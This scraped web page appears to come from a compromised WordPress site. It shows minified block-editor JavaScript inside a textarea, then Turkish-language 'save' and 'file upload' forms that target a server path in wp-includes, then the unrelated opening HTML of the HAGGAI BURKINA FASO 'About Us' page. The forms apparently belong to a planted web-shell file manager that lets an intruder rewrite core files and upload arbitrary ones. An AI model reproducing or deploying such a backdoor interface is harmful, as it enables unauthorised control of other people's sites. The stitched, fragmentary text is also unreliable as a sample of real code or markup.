0;return{stylesPath:_(),showStylebook:S(),shouldResetNavigation:b(&quot;core&quot;)!==&quot;edit-site/global-styles&quot;||!x,showListViewByDefault:T,hasRevisions:!!z?._links?.[&quot;version-history&quot;]?.[0]?.count,activeComplementaryArea:y(Ce).getActiveComplementaryArea(&quot;core&quot;)}},[]),{setStylesPath:a,setShowStylebook:l,resetStylesNavigation:c}=N((0,g1.useDispatch)(w)),u=(0,ZE.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),d=t.startsWith(&quot;/revisions&quot;)&amp;&amp;!r,f=t.startsWith(&quot;/revisions&quot;)&amp;&amp;r,m=(0,ZE.usePrevious)(i);(0,vF.useEffect)(()=&gt;{i===&quot;edit-site/global-styles&quot;&amp;&amp;m!==&quot;edit-site/global-styles&quot;&amp;&amp;c()},[i,m,c]),(0,vF.useEffect)(()=&gt;{e&amp;&amp;c()},[e,c]);let{setIsListViewOpened:h}=(0,g1.useDispatch)(w),g=()=&gt;{h(!1),a(d||f?&quot;/&quot;:&quot;/revisions&quot;)},v=()=&gt;{h(r&amp;&amp;o),l(!r)};return(0,qo.jsxs)(qo.Fragment,{children:[(0,qo.jsx)(Pse,{className:&quot;editor-global-styles-sidebar&quot;,identifier:&quot;edit-site/global-styles&quot;,title:(0,vv.__)(&quot;Styles&quot;),icon:YA,closeLabel:(0,vv.__)(&quot;Close Styles&quot;),panelClassName:&quot;editor-global-styles-sidebar__panel&quot;,header:(0,qo.jsxs)(Sl.Flex,{className:&quot;editor-global-styles-sidebar__header&quot;,gap:1,children:[(0,qo.jsx)(Sl.FlexItem,{children:(0,qo.jsx)(&quot;h2&quot;,{className:&quot;editor-global-styles-sidebar__header-title&quot;,children:(0,vv.__)(&quot;Styles&quot;)})}),(0,qo.jsxs)(Sl.Flex,{justify:&quot;flex-end&quot;,gap:1,className:&quot;editor-global-styles-sidebar__header-actions&quot;,children:[!u&amp;&amp;(0,qo.jsx)(Sl.FlexItem,{children:(0,qo.jsx)(Sl.Button,{icon:Gd,label:(0,vv.__)(&quot;Style Book&quot;),isPressed:r,accessibleWhenDisabled:!0,disabled:e,onClick:v,size:&quot;compact&quot;})}),(0,qo.jsx)(Sl.FlexItem,{children:(0,qo.jsx)(Sl.Button,{label:(0,vv.__)(&quot;Revisions&quot;),icon:xl,onClick:g,accessibleWhenDisabled:!0,disabled:!n,isPressed:d||f,size:&quot;compact&quot;})}),(0,qo.jsx)(WE,{onChangePath:a})]})]}),children:(0,qo.jsx)(Hx,{path:t,onPathChange:a})}),(0,qo.jsx)(kse,{})]})}var Ds=s(C(),1);function sAe({postType:e,postId:t,templateId:r,settings:o,children:n,initialEdits:i,onActionPerformed:a,extraContent:l,extraSidebarPanels:c,...u}){let{post:d,template:f,hasLoadedPost:m,error:h,isBlockTheme:g,showGlobalStyles:v}=(0,Ose.useSelect)(y=&gt;{let{getEntityRecord:b,getResolutionError:_,hasFinishedResolution:S,getCurrentTheme:x,__experimentalGetCurrentGlobalStylesId:T,canUser:R}=y(Ise.store),{getRenderingMode:F,getCurrentPostType:B}=y(w),z=[&quot;postType&quot;,e,t],L=F(),M=B(),k=x()?.is_block_theme,I=T(),U=I?R(&quot;update&quot;,{kind:&quot;root&quot;,name:&quot;globalStyles&quot;,id:I}):!1;return{post:b(...z),template:r?b(&quot;postType&quot;,xt,r):void 0,hasLoadedPost:S(&quot;getEntityRecord&quot;,z),error:_(&quot;getEntityRecord&quot;,z)?.message,isBlockTheme:k,showGlobalStyles:k&amp;&amp;U&amp;&amp;(M===&quot;wp_template&quot;||L===&quot;template-locked&quot;)}},[e,t,r]);return(0,Ds.jsxs)(Ds.Fragment,{children:[m&amp;&amp;!d&amp;&amp;(0,Ds.jsx)(Nse.Notice,{status:h?&quot;error&quot;:&quot;warning&quot;,isDismissible:!1,children:h||(0,Fse.__)(&quot;You attempted to edit an item that doesn&#039;t exist. Perhaps it was deleted?&quot;)}),!!d&amp;&amp;(0,Ds.jsxs)(v6,{post:d,__unstableTemplate:f,settings:o,initialEdits:i,useSubRegistry:!1,children:[(0,Ds.jsx)(pne,{...u,children:l}),n,(0,Ds.jsx)(Uie,{onActionPerformed:a,extraPanels:c}),(0,Ds.jsx)(xse,{}),g&amp;&amp;(0,Ds.jsx)(oC,{}),v&amp;&amp;(0,Ds.jsx)(Ase,{})]})]})}var Dse=sAe;var Ne=s(E(),1),Gse=s(he(),1),zm=s(O(),1),Wse=s(D(),1),v1=s(lt(),1);var KE=s(O(),1),Bse=s(lt(),1);var Mse=s(C(),1),{PreferenceBaseOption:aAe}=N(Bse.privateApis);function Lse(e){let t=(0,KE.useSelect)(n=&gt;n(w).isPublishSidebarEnabled(),[]),{enablePublishSidebar:r,disablePublishSidebar:o}=(0,KE.useDispatch)(w);return(0,Mse.jsx)(aAe,{isChecked:t,onChange:n=&gt;n?r():o(),...e})}var XE=s(O(),1),Vse=s(lt(),1),QE=s(Xe(),1),jse=s(D(),1),zse=s(A(),1),bv=s(E(),1),Use=s($(),1);var yv=s(C(),1),{BlockManager:lAe}=N(Use.privateApis),cAe=[];function Hse(){let{showBlockTypes:e,hideBlockTypes:t}=N((0,XE.useDispatch)(w)),{blockTypes:r,allowedBlockTypes:o,hiddenBlockTypes:n}=(0,XE.useSelect)(m=&gt;({blockTypes:m(QE.store).getBlockTypes(),allowedBlockTypes:m(w).getEditorSettings().allowedBlockTypes,hiddenBlockTypes:m(Vse.store).get(&quot;core&quot;,&quot;hiddenBlockTypes&quot;)??cAe}),[]),a=(0,jse.useMemo)(()=&gt;o===!0?r:r.filter(({name:m})=&gt;o?.includes(m)),[o,r]).filter(m=&gt;(0,QE.hasBlockSupport)(m,&quot;inserter&quot;,!0)&amp;&amp;(!m.parent||m.parent.includes(&quot;core/post-content&quot;))),l=n.filter(m=&gt;a.some(h=&gt;h.name===m)),c=a.filter(m=&gt;!l.includes(m.name)),u=a.length-c.length;function d(){f(a)}let f=m=&gt;{if(c.length&gt;m.length){let h=c.filter(g=&gt;!m.find(({name:v})=&gt;v===g.name));t(h.map(({name:g})=&gt;g))}else if(c.length&lt;m.length){let h=m.filter(g=&gt;!c.find(({name:v})=&gt;v===g.name));e(h.map(({name:g})=&gt;g))}};return(0,yv.jsxs)(&quot;div&quot;,{className:&quot;editor-block-visibility&quot;,children:[!!u&amp;&amp;(0,yv.jsxs)(&quot;div&quot;,{className:&quot;editor-block-visibility__disabled-blocks-count&quot;,children:[(0,bv.sprintf)((0,bv._n)(&quot;%d block is hidden.&quot;,&quot;%d blocks are hidden.&quot;,u),u),(0,yv.jsx)(zse.Button,{__next40pxDefaultSize:!0,variant:&quot;link&quot;,onClick:d,children:(0,bv.__)(&quot;Reset&quot;)})]}),(0,yv.jsx)(lAe,{blockTypes:a,selectedBlockTypes:c,onChange:f,showSelectAll:!1})]})}var Me=s(C(),1),{PreferencesModal:uAe,PreferencesModalTabs:dAe,PreferencesModalSection:Xc,PreferenceToggleControl:xi}=N(v1.privateApis);function Yse({extraSections:e={}}){let t=(0,zm.useSelect)(o=&gt;o(Ce).isModalActive(&quot;editor/preferences&quot;),[]),{closeModal:r}=(0,zm.useDispatch)(Ce);return t?(0,Me.jsx)(uAe,{closeModal:r,children:(0,Me.jsx)(fAe,{extraSections:e})}):null}function fAe({extraSections:e={}}){let t=(0,Gse.useViewportMatch)(&quot;medium&quot;),{showBlockBreadcrumbsOption:r,showCollaborationOptions:o}=(0,zm.useSelect)(c=&gt;{let{getEditorSettings:u,isCollaborationEnabledForCurrentPost:d}=N(c(w)),{get:f}=c(v1.store),m=u().richEditingEnabled;return{showBlockBreadcrumbsOption:!f(&quot;core&quot;,&quot;distractionFree&quot;)&amp;&amp;t&amp;&amp;m,showCollaborationOptions:d()}},[t]),{setIsListViewOpened:n,setIsInserterOpened:i}=(0,zm.useDispatch)(w),{set:a}=(0,zm.useDispatch)(v1.store),l=(0,Wse.useMemo)(()=&gt;[{name:&quot;general&quot;,tabLabel:(0,Ne.__)(&quot;General&quot;),content:(0,Me.jsxs)(Me.Fragment,{children:[(0,Me.jsxs)(Xc,{title:(0,Ne.__)(&quot;Interface&quot;),children:[(0,Me.jsx)(xi,{scope:&quot;core&quot;,featureName:&quot;showListViewByDefault&quot;,help:(0,Ne.__)(&quot;Opens the List View panel by default.&quot;),label:(0,Ne.__)(&quot;Always open List View&quot;)}),r&amp;&amp;(0,Me.jsx)(xi,{scope:&quot;core&quot;,featureName:&quot;showBlockBreadcrumbs&quot;,help:(0,Ne.__)(&quot;Display the block hierarchy trail at the bottom of the editor.&quot;),label:(0,Ne.__)(&quot;Show block breadcrumbs&quot;)}),(0,Me.jsx)(xi,{scope:&quot;core&quot;,featureName:&quot;allowRightClickOverrides&quot;,help:(0,Ne.__)(&quot;Allows contextual List View menus via right-click, overriding browser defaults.&quot;),label:(0,Ne.__)(&quot;Allow right-click contextual menus&quot;)}),(0,Me.jsx)(xi,{scope:&quot;core&quot;,featureName:&quot;enableChoosePatternModal&quot;,help:(0,Ne.__)(&quot;Pick from starter content when creating a new page.&quot;),label:(0,Ne.__)(&quot;Show starter patterns&quot;)}),o&amp;&amp;(0,Me.jsxs)(Me.Fragment,{children:[(0,Me.jsx)(xi,{scope:&quot;core&quot;,featureName:&quot;showCollaborationCursor&quot;,help:(0,Ne.__)(&quot;Show your own avatar inside blocks during collaborative editing sessions.&quot;),label:(0,Ne.__)(&quot;Show avatar in blocks&quot;)}),(0,Me.jsx)(xi,{scope:&quot;core&quot;,featureName:&quot;showCollaborationNotifications&quot;,help:(0,Ne.__)(&quot;Show notifications when collaborators join, leave, or save the post.&quot;),label:(0,Ne.__)(&quot;Show collaboration notifications&quot;)})]})]}),(0,Me.jsxs)(Xc,{title:(0,Ne.__)(&quot;Document settings&quot;),description:(0,Ne.__)(&quot;Select what settings are shown in the document panel.&quot;),children:[(0,Me.jsx)(zC.Slot,{}),(0,Me.jsx)(fg,{taxonomyWrapper:(c,u)=&gt;(0,Me.jsx)($u,{label:u.labels.menu_name,panelName:`taxonomy-panel-${u.slug}`})}),(0,Me.jsx)(_c,{children:(0,Me.jsx)($u,{label:(0,Ne.__)(&quot;Featured image&quot;),panelName:&quot;featured-image&quot;})}),(0,Me.jsx)(lm,{children:(0,Me.jsx)($u,{label:(0,Ne.__)(&quot;Excerpt&quot;),panelName:&quot;post-excerpt&quot;})}),(0,Me.jsx)(tr,{supportKeys:[&quot;comments&quot;,&quot;trackbacks&quot;],children:(0,Me.jsx)($u,{label:(0,Ne.__)(&quot;Discussion&quot;),panelName:&quot;discussion-panel&quot;})}),(0,Me.jsx)(Nh,{children:(0,Me.jsx)($u,{label:(0,Ne.__)(&quot;Page attributes&quot;),panelName:&quot;page-attributes&quot;})})]}),t&amp;&amp;(0,Me.jsx)(Xc,{title:(0,Ne.__)(&quot;Publishing&quot;),children:(0,Me.jsx)(Lse,{help:(0,Ne.__)(&quot;Review settings, such as visibility and tags.&quot;),label:(0,Ne.__)(&quot;Enable pre-publish checks&quot;)})}),e?.general]})},{name:&quot;appearance&quot;,tabLabel:(0,Ne.__)(&quot;Appearance&quot;),content:(0,Me.jsxs)(Xc,{title:(0,Ne.__)(&quot;Appearance&quot;),description:(0,Ne.__)(&quot;Customize the editor interface to suit your needs.&quot;),children:[(0,Me.jsx)(xi,{scope:&quot;core&quot;,featureName:&quot;fixedToolbar&quot;,onToggle:()=&gt;a(&quot;core&quot;,&quot;distractionFree&quot;,!1),help:(0,Ne.__)(&quot;Access all block and document tools in a single place.&quot;),label:(0,Ne.__)(&quot;Top toolbar&quot;)}),(0,Me.jsx)(xi,{scope:&quot;core&quot;,featureName:&quot;distractionFree&quot;,onToggle:()=&gt;{a(&quot;core&quot;,&quot;fixedToolbar&quot;,!0),i(!1),n(!1)},help:(0,Ne.__)(&quot;Reduce visual distractions by hiding the toolbar and other elements to focus on writing.&quot;),label:(0,Ne.__)(&quot;Distraction free&quot;)}),(0,Me.jsx)(xi,{scope:&quot;core&quot;,featureName:&quot;focusMode&quot;,help:(0,Ne.__)(&quot;Highlights the current block and fades other content.&quot;),label:(0,Ne.__)(&quot;Spotlight mode&quot;)}),e?.appearance]})},{name:&quot;accessibility&quot;,tabLabel:(0,Ne.__)(&quot;Accessibility&quot;),content:(0,Me.jsxs)(Me.Fragment,{children:[(0,Me.jsx)(Xc,{title:(0,Ne.__)(&quot;Navigation&quot;),description:(0,Ne.__)(&quot;Optimize the editing experience for enhanced control.&quot;),children:(0,Me.jsx)(xi,{scope:&quot;core&quot;,featureName:&quot;keepCaretInsideBlock&quot;,help:(0,Ne.__)(&quot;Keeps the text cursor within blocks while navigating with arrow keys, preventing it from moving to other blocks and enhancing accessibility for keyboard users.&quot;),label:(0,Ne.__)(&quot;Contain text cursor inside block&quot;)})}),(0,Me.jsx)(Xc,{title:(0,Ne.__)(&quot;Interface&quot;),children:(0,Me.jsx)(xi,{scope:&quot;core&quot;,featureName:&quot;showIconLabels&quot;,label:(0,Ne.__)(&quot;Show button text labels&quot;),help:(0,Ne.__)(&quot;Show text instead of icons on buttons across the interface.&quot;)})})]})},{name:&quot;blocks&quot;,tabLabel:(0,Ne.__)(&quot;Blocks&quot;),content:(0,Me.jsxs)(Me.Fragment,{children:[(0,Me.jsx)(Xc,{title:(0,Ne.__)(&quot;Inserter&quot;),children:(0,Me.jsx)(xi,{scope:&quot;core&quot;,featureName:&quot;mostUsedBlocks&quot;,help:(0,Ne.__)(&quot;Adds a category with the most frequently used blocks in the inserter.&quot;),label:(0,Ne.__)(&quot;Show most used blocks&quot;)})}),(0,Me.jsx)(Xc,{title:(0,Ne.__)(&quot;Manage block visibility&quot;),description:(0,Ne.__)(&quot;Disable blocks that you don&#039;t want to appear in the inserter. They can always be toggled back on later.&quot;),children:(0,Me.jsx)(Hse,{})})]})},window.__clientSideMediaProcessing&amp;&amp;{name:&quot;media&quot;,tabLabel:(0,Ne.__)(&quot;Media&quot;),content:(0,Me.jsx)(Me.Fragment,{children:(0,Me.jsxs)(Xc,{title:(0,Ne.__)(&quot;General&quot;),description:(0,Ne.__)(&quot;Customize options related to the media upload flow.&quot;),children:[(0,Me.jsx)(xi,{scope:&quot;core/media&quot;,featureName:&quot;optimizeOnUpload&quot;,help:(0,Ne.__)(&quot;Compress media items before uploading to the server.&quot;),label:(0,Ne.__)(&quot;Pre-upload compression&quot;)}),(0,Me.jsx)(xi,{scope:&quot;core/media&quot;,featureName:&quot;requireApproval&quot;,help:(0,Ne.__)(&quot;Require approval step when optimizing existing media.&quot;),label:(0,Ne.__)(&quot;Approval step&quot;)})]})})}].filter(Boolean),[r,o,e,i,n,a,t]);return(0,Me.jsx)(dAe,{sections:l})}var _1=s(Xe(),1);var y1=s($(),1),qse=&quot;content&quot;,Zse={name:&quot;core/pattern-overrides&quot;,getValues({select:e,clientId:t,context:r,bindings:o}){let n=r[&quot;pattern/overrides&quot;],{getBlockAttributes:i}=e(y1.store),a=i(t),l={};for(let c of Object.keys(o)){let u=n?.[a?.metadata?.name]?.[c];if(u===void 0){l[c]=a[c];continue}else l[c]=u===&quot;&quot;?void 0:u}return l},setValues({select:e,dispatch:t,clientId:r,bindings:o}){let{getBlockAttributes:n,getBlockParentsByBlockName:i,getBlocks:a}=e(y1.store),c=n(r)?.metadata?.name;if(!c)return;let[u]=i(r,&quot;core/block&quot;,!0),d=Object.entries(o).reduce((m,[h,{newValue:g}])=&gt;(m[h]=g,m),{});if(!u){let m=h=&gt;{for(let g of h)g.attributes?.metadata?.name===c&amp;&amp;t(y1.store).updateBlockAttributes(g.clientId,d),m(g.innerBlocks)};m(a());return}let f=n(u)?.[qse];t(y1.store).updateBlockAttributes(u,{[qse]:{...f,[c]:{...f?.[c],...Object.entries(d).reduce((m,[h,g])=&gt;(m[h]=g===void 0?&quot;&quot;:g,m),{})}}})},canUserEditValue:()=&gt;!0};var JE=s(E(),1),$E=s(W(),1),b1=s($(),1),yF=[&quot;core/navigation-link&quot;,&quot;core/navigation-submenu&quot;],Kse=[{label:(0,JE.__)(&quot;Post Date&quot;),args:{field:&quot;date&quot;},type:&quot;string&quot;},{label:(0,JE.__)(&quot;Post Modified Date&quot;),args:{field:&quot;modified&quot;},type:&quot;string&quot;},{label:(0,JE.__)(&quot;Post Link&quot;),args:{field:&quot;link&quot;},type:&quot;string&quot;}],Xse={name:&quot;core/post-data&quot;,getValues({select:e,context:t,bindings:r,clientId:o}){let{getBlockAttributes:n,getBlockName:i}=e(b1.store),a=i(o),l=yF.includes(a),c,u;if(l){let h=n(o);c=h?.id,u=h?.type}else c=t?.postId,u=t?.postType;let{getEditedEntityRecord:d}=e($E.store),f=d(&quot;postType&quot;,u,c),m={};for(let[h,g]of Object.entries(r)){let v=Kse.find(y=&gt;y.args.field===g.args.field);v?f?m[h]=f[g.args.field]:m[h]=v.label:m[h]=g.args.field}return m},setValues({dispatch:e,context:t,bindings:r,clientId:o,select:n}){let{getBlockName:i}=n(b1.store),a=i(o);if(yF.includes(a))return!1;let l={};Object.values(r).forEach(({args:c,newValue:u})=&gt;{l[c.field]=u}),e($E.store).editEntityRecord(&quot;postType&quot;,t?.postType,t?.postId,l)},canUserEditValue({select:e,context:t}){let{getBlockName:r,getSelectedBlockClientId:o}=e(b1.store),n=o(),i=r(n);return!(yF.includes(i)||t?.query||t?.queryId||!t?.postType||!e($E.store).canUser(&quot;update&quot;,{kind:&quot;postType&quot;,name:t?.postType,id:t?.postId}))},getFieldsList({context:e,select:t}){return t(b1.store).getSelectedBlock()?.name!==&quot;core/post-date&quot;?[]:!e||!e.postId||!e.postType?[]:Kse}};var S1=s(W(),1);function bF(e,t){let{getRegisteredPostMeta:r}=N(e(S1.store)),o=r(t?.postType),n=[];return Object.entries(o).forEach(([i,a])=&gt;{i===&quot;footnotes&quot;||i.charAt(0)===&quot;_&quot;||n.push({label:a.title||i,args:{key:i},default:a.default,type:a.type})}),n}function mAe({select:e,context:t,args:r}){let n=bF(e,t).find(l=&gt;l.args.key===r.key);if(!n)return r.key;if(!t?.postId)return n.default||n.label||r.key;let{getEditedEntityRecord:i}=e(S1.store);return i(&quot;postType&quot;,t?.postType,t?.postId).meta?.[r.key]??n?.label??r.key}var Qse={name:&quot;core/post-meta&quot;,getValues({select:e,context:t,bindings:r}){let o={};for(let[n,i]of Object.entries(r))o[n]=mAe({select:e,context:t,args:i.args});return o},setValues({dispatch:e,context:t,bindings:r}){let o={};Object.values(r).forEach(({args:n,newValue:i})=&gt;{o[n.key]=i}),e(S1.store).editEntityRecord(&quot;postType&quot;,t?.postType,t?.postId,{meta:o})},canUserEditValue({select:e,context:t,args:r}){return!(t?.query||t?.queryId||!t?.postType||!bF(e,t).some(l=&gt;l.args.key===r.key)||e(w).getEditorSettings().enableCustomFields||!e(S1.store).canUser(&quot;update&quot;,{kind:&quot;postType&quot;,name:t?.postType,id:t?.postId}))},getFieldsList({select:e,context:t}){return bF(e,t).map(({default:o,...n})=&gt;({...n}))}};var Dd=s(E(),1),Jse=s(W(),1),eR=s($(),1),SF=[&quot;core/navigation-link&quot;,&quot;core/navigation-submenu&quot;],_F=[{label:(0,Dd.__)(&quot;Term ID&quot;),args:{field:&quot;id&quot;},type:&quot;string&quot;},{label:(0,Dd.__)(&quot;Name&quot;),args:{field:&quot;name&quot;},type:&quot;string&quot;},{label:(0,Dd.__)(&quot;Slug&quot;),args:{field:&quot;slug&quot;},type:&quot;string&quot;},{label:(0,Dd.__)(&quot;Link&quot;),args:{field:&quot;link&quot;},type:&quot;string&quot;},{label:(0,Dd.__)(&quot;Description&quot;),args:{field:&quot;description&quot;},type:&quot;string&quot;},{label:(0,Dd.__)(&quot;Parent ID&quot;),args:{field:&quot;parent&quot;},type:&quot;string&quot;},{label:(0,Dd.__)(&quot;Count&quot;),args:{field:&quot;count&quot;},type:&quot;string&quot;}],$se={name:&quot;core/term-data&quot;,usesContext:[&quot;taxonomy&quot;,&quot;termId&quot;,&quot;termData&quot;],getValues({select:e,context:t,bindings:r,clientId:o}){let{getEntityRecord:n}=e(Jse.store),{getBlockAttributes:i,getBlockName:a}=e(eR.store),l=a(o),c=SF.includes(l),u;if(c){let f=i(o),m=f?.type;u=n(&quot;taxonomy&quot;,m===&quot;tag&quot;?&quot;post_tag&quot;:m,f?.id)}else t.termId&amp;&amp;t.taxonomy&amp;&amp;(u=n(&quot;taxonomy&quot;,t.taxonomy,t.termId));!u&amp;&amp;t?.termData&amp;&amp;!c&amp;&amp;(u=t.termData);let d={};for(let[f,m]of Object.entries(r)){let h=_F.find(g=&gt;g.args.field===m.args.field);h?!u||u[m.args.field]===void 0?d[f]=h.label:m.args.field===&quot;count&quot;?d[f]=&quot;(&quot;+u[m.args.field]+&quot;)&quot;:d[f]=u[m.args.field]:d[f]=m.args.field}return d},setValues({dispatch:e,context:t,bindings:r}){return!1},canUserEditValue({select:e,context:t}){let{getBlockName:r,getSelectedBlockClientId:o}=e(eR.store),n=o(),i=r(n);return SF.includes(i)||t?.termQuery||!t?.taxonomy||!t?.termId,!1},getFieldsList({context:e,select:t}){let{getBlockAttributes:r,getBlockName:o,getSelectedBlockClientId:n}=t(eR.store),i=n(),a=o(i);if(SF.includes(a)){let l=r(i);return!l||!l.id||!l.type?[]:_F}return e?e.taxonomy&amp;&amp;e.termId||e.termData?_F:[]:[]}};function eae(){(0,_1.registerBlockBindingsSource)(Zse),(0,_1.registerBlockBindingsSource)(Xse),(0,_1.registerBlockBindingsSource)(Qse),(0,_1.registerBlockBindingsSource)($se)}var{store:pAe,...hAe}=i6,tae={};JF(tae,{CreateTemplatePartModal:Cp,patternTitleField:iy,templateTitleField:ny,BackButton:nk,EntitiesSavedStatesExtensible:Kb,Editor:Dse,PluginPostExcerpt:r0,PostCardPanel:rv,PreferencesModal:Yse,usePostActions:lE,usePostFields:oE,ToolsMoreMenuGroup:uk,ViewMoreMenuGroup:dk,ResizableEditor:Eh,registerCoreBlockBindingsSources:eae,getTemplateInfo:Zi,GlobalStylesUIWrapper:Hx,GlobalStylesActionMenu:WE,StyleBookPreview:uW,useGlobalStyles:xo,useStyle:Hu,interfaceStore:pAe,...hAe});var w1=s(O(),1);function gAe(e,t,r){let{registerEntityAction:o}=N((0,w1.dispatch)(w))}function vAe(e,t,r){let{unregisterEntityAction:o}=N((0,w1.dispatch)(w))}function yAe(e,t,r){let{registerEntityField:o}=N((0,w1.dispatch)(w))}function bAe(e,t,r){let{unregisterEntityField:o}=N((0,w1.dispatch)(w))}var rae=s($(),1);return uae(SAe);})();
/*! Bundled license information:

autosize/dist/autosize.js:
  (*!
  	autosize 4.0.2
  	license: MIT
  	http://www.jacklmoore.com/autosize
  *)

is-plain-object/dist/is-plain-object.mjs:
  (*!
   * is-plain-object &lt;https://github.com/jonschlinkert/is-plain-object&gt;
   *
   * Copyright (c) 2014-2017, Jon Schlinkert.
   * Released under the MIT License.
   *)
*/
</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/website_d7f7f658/wp-includes/js/dist/editor.min.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>About Us | HAGGAI BURKINA FASO</title>
<meta name='robots' content='max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fabout-us%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fabout-us%2F&#038;format=xml" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1cfb321a2f7*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
